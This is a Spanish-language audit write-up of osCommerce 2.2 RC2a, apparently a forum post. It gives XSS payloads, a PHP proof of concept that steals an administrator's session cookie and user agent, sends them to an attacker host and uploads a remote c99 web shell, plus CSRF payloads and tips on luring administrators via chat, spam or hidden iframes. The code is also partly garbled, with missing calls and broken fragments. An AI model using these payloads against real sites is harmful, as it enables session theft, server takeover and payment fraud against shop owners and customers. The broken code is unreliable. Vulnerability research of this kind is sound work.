Auditando a Oscommerce 2.2 RC2a
Link para su descarga : http://www.oscommerce.com/solutions/downloads
El presente documento está hecho con motivo de aprender de las vulnerabilidades de Oscommerce y saber como protegernos haciendo buenas elecciones al momento de buscar un sistema web que soporte una tienda online.
Oscommerce actualmente es uno de los sistemas públicos mas utilizados par crear sitios de ventas online, desafortunadamente también es uno de los mas vulnerables. Acá daré a conocer soolo algunos que yo pude encontrar. Si quieres buscar mas fallas de este sistema CMS puedes hacerlo desde acá:
http://www.google.cl/search?hl=es&q=oscommerce+vuln
XSS en múltiples secciones y Bypass al Anti-rrobo de sesiones
Para saber que significa XSS vea la sección de enlaces descriptivos que está al final de este documento.
Dentro del sistema de Administración podemos encontrar una sección donde podemos modificar banners, ahí nos encontramos con el archivo banner_manager.php:
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1&bID=1&action=new
Acá podemos ver una clara vulnerabilidad de tipo XSS en la variable llamada "page", probemos ...
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1'"><h1>lol&bID=1&action=new
Vemos lo siguiente:
Esto nos quiere decir que pudimos inyectar código HTML con éxito dentro del sistema WEB.
Actualmente este tipo de vulnerabilidades se cataloga como nivel medio bajo en lo que a peligrosidad se refiere tanto en Securityfocus como en Secunia, Firstit, Vupen, etc etc, pero yo les voy a demostrar que un escape de código html dentro de tu sitio web puede causar muchos riesgos.
Primero vamos a planear que hacer para poder tener las ideas mas claras.
Haremos un script en php y si el administrador lo ve desde su explorador entonces le robaremos su sesión y con eso ya podremos hacer lo que se nos antoje como por ejemplo subirle una shell.
Abrimos nuestro editor de textos y manos a la obra:
Código
<?php /* Prueba de concepto para Oscommerce 2.2, Upload de Shell via XSS. Por WHK */ $web_vulnerable = 'http://127.0.0.1/oscommerce/'; /* La URL de la web vulnerable */ $url_shell = 'http://www.geocities.com/zkizzik/c99.txt'; /* La URL de la Shell local o remnota */ if(!$_GET){ /* Si no hay variables entonces procede a ... */ /* Redirecciona al visitante hasta la página del oscommerce vulnerable, obiamente lo enviamos hacia una url que causará que el mismo inyecte código html en su propia web, este código html dirá que nos envie su cookie hasta este mismo script para su recepción y utilización. */ /* Si la url no contiene un slash al final entonces se lo agrega */ logs('Redireccionando hacia el XSS'); 'Location: '. $web_vulnerable. 'admin/banner_manager.php?page=1"><script src=http://'. $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'] .'?acc=js></script><br x="&bID=1&action=new'); // Redirección /* como Oscommerce agrega slashses a las comillas entonces intentaremos usar un incluye */ exit; /* el dichoso javascript que nos robará la sesión */ }elseif($_GET['acc'] == 'js'){ logs('Enviando código javascript'); /* Script que obtiene galletas con sabor a chocolate */ document.location="http://'. $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']. '?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + '. 'escape(navigator.userAgent); '); /* Recibe la cookie y comienza la massacre */ }elseif($_GET['acc'] == 'choco'){ logs('Cookie recibida Cookie='.$_GET['galleta'].''); logs('Se ha intentado enviar una cookie sin contenido'); } /* Separa el host con la ruta para procesar la conexión sin CURL para mayor compatibilidad */ $host = $host[2]; $url = $url[1].'/'; // Envía la shell logs('No se pudo obtener la shell'); exit; } $post_data = '-----------------------------66182058019796 Content-Disposition: form-data; name="file_1"; filename="config.php" Content-Type: text/x-php '.$shell.' -----------------------------66182058019796 Content-Disposition: form-data; name="file_2"; filename="" Content-Type: application/octet-stream -----------------------------66182058019796 Content-Disposition: form-data; name="file_3"; filename="" Content-Type: application/octet-stream -----------------------------66182058019796 Content-Disposition: form-data; name="file_4"; filename="" Content-Type: application/octet-stream -----------------------------66182058019796 Content-Disposition: form-data; name="file_5"; filename="" Content-Type: application/octet-stream -----------------------------66182058019796 Content-Disposition: form-data; name="x" -----------------------------66182058019796 Content-Disposition: form-data; name="y" -----------------------------66182058019796-- '; /* conexión y comprobación */ 'POST '.$url.'admin/file_manager.php?action=processuploads HTTP/1.1 Host: '.$host.' Connection: close Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=upload Cookie: '.$cookie.' Content-Type: multipart/form-data; boundary=---------------------------66182058019796 logs('Error inesperado al intentar subir la shell o sistema no vulnerable'); exit; } /* Valída el upload y verifica si terminó correctamente */ 'GET '.$url.'admin/file_manager.php HTTP/1.1 Host: '.$host.' Connection: close Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=processuploads Cookie: '.$cookie."\n\n\n"))){ logs('Shell subida con éxito hacia URL='.$web_vulnerable.'config.php'); }else{ logs('Error inesperado al intentar subir la shell o sistema no vulnerable'); exit; } } function handle_socket(){ global $host; logs('El servidor remoto no responde'); exit; } return $handle; } function enviar_socket($buffer){ $handle = handle_socket(); } if(!$buffer){ logs('El servidor remoto no responde'); exit; } return $buffer; } function logs($contenido){ global $logs; } ?>
Ahora, antes de explicar lo que hace cada línea les voy a decir como funciona.
Primero que nada debemos encontrar al Administrador con su sesión activa dentro del sistema y luego hacer que visualice este código WEB. Para hacerlo vamos a suponer una situación donde nos conectamos vía IRC o MSN con el Administrador y le sugerimos una configuración para poder optimizar su sitio Web como por ejemplo un dimensionado de la imagen de su banner o lo que sea, después que ya estamos seguros que está logueado le decimos que observe el tutorial donde se muestra con mas detalle y le damos la página que lo redireccionará hacia el XSS. También puedes enviarle múltiples Spam a su correo y esperar a que haga clic en una mientras está trabajando en su página. También puedes ocultar el script dentro de un iframe de 1 x 1 pixel mientras lee o ve un video ocultando la redirección.
En fin, hay muchas formas para hacer caer a alguien con tal de que vea el script que acabamos de hacer, una ves que lo haga solamente pasarán unos 2 o tres segundos y automáticamente se le subirá una shell a su propio servidor y quedará masomenos así:
Ahora si voy a explicar un poco el código para que todo mortal pueda entender que hace sin entrar mucho en el lenguaje de programación ya que los que saben está claro que ya saben como está hecho.
Para subirle la shell necesitamos primero ser Administradores, eso es normal así que primero vamos por la cookie, cuando el Administrador vea el script lo primero que se hará es redireccionarlo hacia:
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1"><script src=http://atacante.com/demanda.php?acc=js></script><br x="&bID=1&action=new
Lo que hará es redireccionarlo hacia la Web vulnerable e inyectará esto:
Citar
"><script src=http://atacante.com/demanda.php?acc=js></script><br x="
Asi que parte del código fuente queda de esta forma:
Código
De esta forma insertamos el archivo javascript dentro del código HTML sin romper su estructura y evitamos que se vea mal en caso de que algo falle.
Ahora este javascript nos ejecutará lo siguiente:
Código
/* Script que obtiene galletas con sabor a chocolate */ document.location="http://atacante.com/demanda.php?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + escape(navigator.userAgent);
Como ahora si podemos usar comillas dobles (recordemos que Oscommerce agrega salsees como si fuera magic quotes para prevenir no se que cosa porque hasta ahora no sirve de nada) hacemos que nos redirecciones hacia mi Web atacante y envíe la cookie (recuerden que la cookie es nuestra sesión como administradores). Algunas personas podrán simplificar esto con eval y charcote haciendo la redirección saltándose el paso de la inclusión del Script (si no entendiste no importa porque no es relevante para el que no sabe mucho del tema).
¿Porqué necesitamos el User Agent? (nombre del navegador):
En Oscommerce hay un sistema de seguridad para "supuestamente" prevenir este tipo de ataques, entonces lo obtenemos y lo utilizamos en nuestro script.
Código de "supuesta" seguridad en Oscommerce (Archivo "incluyes/application_top.php" Linea 227):
Código
if ($SESSION_USER_AGENT != $http_user_agent){ tep_session_destroy(); tep_redirect(tep_href_link(FILENAME_LOGIN)); }
Bueno, ahora lo usamos en nuestro Script:
Código
User-Agent: '.urldecode($_GET['uag']).'
Ahora que tenemos la cookie y el user agent podemos hacer lo que se nos antoje como modificar la contraseña, cambiar el correo para después recuperar el password, subir una shell, eliminar todo y poner una Web porno, modificar archivos php para capturar tarjetas de crédito con cvv2, etc etc (recuerden que esto es solo una prueba de concepto para demostrar lo que se puede llegar a hacer no para que lo pongan en práctica).
El resto del Script lo que hace es enviar el archivo de nuestra Shell de pruebas al servidor desde:
http://127.0.0.1/oscommerce/admin/file_manager.php?action=processuploads
Respetando el referer que es desde "admin/file_manager.php?action=upload" y enviamos nuestra petición POST con 5 archivos, si pones solo uno te lo rechaza, ponemos nuestra shell en el archivo 1 y los demás en blanco, ahora nos darán una redirección hacia "admin/file_manager.php" así que la visualizamos y nos valida recién el upload.
También me encontré con dos variables, una llamada "y" y "x" con un valor al azar entre 1 y 20 así que se lo agregué al script para poder reflejar una simulación lo mas igualada posible a un explorador, si se los sacas no funcionará.
Secciones donde puedes encontrarás XSS:
http://127.0.0.1/oscommerce/admin/categories.php?action=new_product_preview&read=only&pID=18&origin=stats_products_viewed.php?page=1'"><h1>test
http://127.0.0.1/oscommerce/admin/configuration.php?gID=1'"><h1>test
y en casi todas las secciones de administración donde veas una variable "page", "id", etc etc. Solo es cosa de ir probando porque si me pongo a mostrarlas todas voy a terminar este documento el año que viene.
Múltiples XSRF (Cross Site Request Forgery)
Para saber que significa XSRF vea la sección de enlaces descriptivos que está al final de este documento.
Primeramente intentaré eliminar una categoría manualmente y al hacerlo me pide una confirmación, al darle clic al botón para aceptar su eliminación me pongo a visualizar los datos que estoy enviando desde el Live Headers:
Citar
http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=
POST /oscommerce/admin/categories.php?action=delete_category_confirm&cPath= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/oscommerce/admin/categories.php?cPath=&cID=1&action=delete_category
Cookie: osCAdminID=hfk8d6gg5n455ld7i4q20c4pf7; osCsid=pmvjahohiq09e0j2hr0rujffl0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
categories_id=1&x=17&y=11
POST /oscommerce/admin/categories.php?action=delete_category_confirm&cPath= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/oscommerce/admin/categories.php?cPath=&cID=1&action=delete_category
Cookie: osCAdminID=hfk8d6gg5n455ld7i4q20c4pf7; osCsid=pmvjahohiq09e0j2hr0rujffl0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
categories_id=1&x=17&y=11
Acá vemos que se envía la variable categories_id diciendo que se va a eliminar pero en ningún lado vemos que nos adjunta algún tipo de dispositivo de seguridad que evite un ataque automatizado, por ejemplo un hash o cosas similares por lo tanto el ataque es tan obvio como la falla:
Código
Creamos un archivo HTML que contenga esto y hacemos que el administrador lo visualize, al hacerlo estará eliminando involuntariamente la primera categoría de productos de su tienda virtual.
Esto podemos hacerlo con cualquier tipo de dato o configuración ya que en ningún caso se verifica un hash para prevenir este tipo de ataques.
Te gustaría crear un nuevo usuario con derechos de Administración?
Código
Tan fácil y sencillo.
También puedes activar de forma remota tipos de pago:
http://127.0.0.1/oscommerce/admin/modules.php?set=payment&module=paypal_express&action=install
Acá activas el tipo de pago Paypal Express y tener la oportunidad de hacer compras fraudulentas si es que es un sitio de ventas en tiempo real como por ejemplo venta de softwares.
Incluso puedes adjuntarlo en una imagen o un avatar, etc:
Código
<img src="http://127.0.0.1/oscommerce/admin/modules.php?set=payment&module=paypal_express&action=install" />
Otro problema de Oscommerce es que utiliza $_SERVER['PHP_SELF'] en casi todas sus secciones y este parámetro si no se sabe utilizar puede causar fallas de tipo XSS:
Si buscamos sin mucho detalle:
Tenemos 26 archivos solamente con esta vulnerabilidad.
En este caso como no necesariamente está en el sistema de Administración puede lanzarse con toda confianza un ataque al propio administrador sin preocuparse si su directorio está protegido por Apache (autentification) ya que desde el mismo javascript con XMLHTTP puedes comprobar si tienes acceso o no y evitar un pantallaza del login, incluso puedes lanzar un popup por detrás del navegador y con un javascript que constantemente verifique si el Administrador entró en el sistema o no para poder continuar con el ataque.
También puedes afectar a los usuarios y robarle sus sesiones y apoderarse de sus compras.
¿Que tal estaría poder modificar el precio de los productos?, a mi no me gustaría que me hicieran eso y no se si a alguna empresa le guste tampoco.
Conclusión
Oscommerce es un sistema muy útil pero llega a ser tan útil como inseguro y es una situación bastante delicada cuando se pretende cobrar dinero de forma online y tener tu propia tienda virtual.
Que sea gratuito no significa que sea malo, las vulnerabilidades las pueden cometer muchos programadores incluso los que se dedican a la venta de sistemas entre comillas. Hay muchas alternativas mejores por el mismo precio ($0) que están licenciada bajo la licencia GNU.
Una vulnerabilidad no es algo aislado que puedas ver en un foro o en un grupo de personas con tiempo libre, es algo que se toma muy en serio cuando se habla de sistemas profesionales, no creo que alguien se desgaste haciendo una bóveda del porte de una cancha de fútbol sin ponerle la cerradura a la puerta.
Muchos sitios que hablan sobre Advisories dicen que el XSS es considerado de riesgo a nivel medio (antiguamente era bajo), pues para mi puede ser tan fatal como cualquier otro así que si tienes un XSS en tu sitio Web te recomiendo que lo repares.
Puedes ahorrar una buena cantidad de dinero mensualmente evitando que tu técnico venga a reinstalar tu sitio Web porque fue penetrada y también te ahorras el dinero del auditor para corroborar si no hay indicios de rooteo que pueda comprometer al servidor en un futuro después de haber hecha la reinstalación.
Enlaces descriptivos
http://es.wikipedia.org/wiki/Cross-site_scripting
http://es.wikipedia.org/wiki/Cross_Site_Request_Forgery
http://es.wikipedia.org/wiki/Agentes_de_usuario
http://www.google.cl/search?hl=es&q=bypass+vuln
(Bypass: Descubrimiento de evasión, en este caso se trata de evadir el sistema de protección que evita un ataque.)
http://www.oscommerce.com/
http://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones-t244090.0.html
http://foro.elhacker.net/documentacion/los_poderes_secretos_de_xss_cross_site_scripting-t98324.0.html
http://www.google.cl/search?hl=es&q=xss+vuln
http://es.wikipedia.org/wiki/GPL
http://www.gnu.org/licenses/licenses.es.html
Agradecimientos
Gracias al foro de ElHacker.Net por darme la oportunidad de tener cada día mas conocimiento frente al tema de la seguridad informática y aplicarlo en el mundo laboral.
Gracias a Nakp por prestarse siempre de betatester para lo que sea aunque en esta ocasión no se pudo porque no le avisé :p
Gracias a KrackWar por su vida social (nuevamente)
Gracias a mi compadre Octalh por llevarme por el camino del conocimiento y el Software Libre XD
Gracias a mis amigos de la red: MITM, Sirdarckcat, Unika, PokasPulgas, Nano N Roses, Dementes en el espacio, CarlosWaldo (alias carlos aguado) y a todos los de la sala de Yahoo Chat "Cristianismo:1" y "Programación:1".
Att, WHK.
[email]www.kernel32@gmail.com[/email]
http://foro.elhacker.net/profiles/whk-u148268.html
Puedes publicar este documento donde tu quieras siempre y cuando no sea modificado.
Si tienen alguna duda pregunten porque nadie ha nacido sabiendo las cosas.
Descarga en formato .doc acá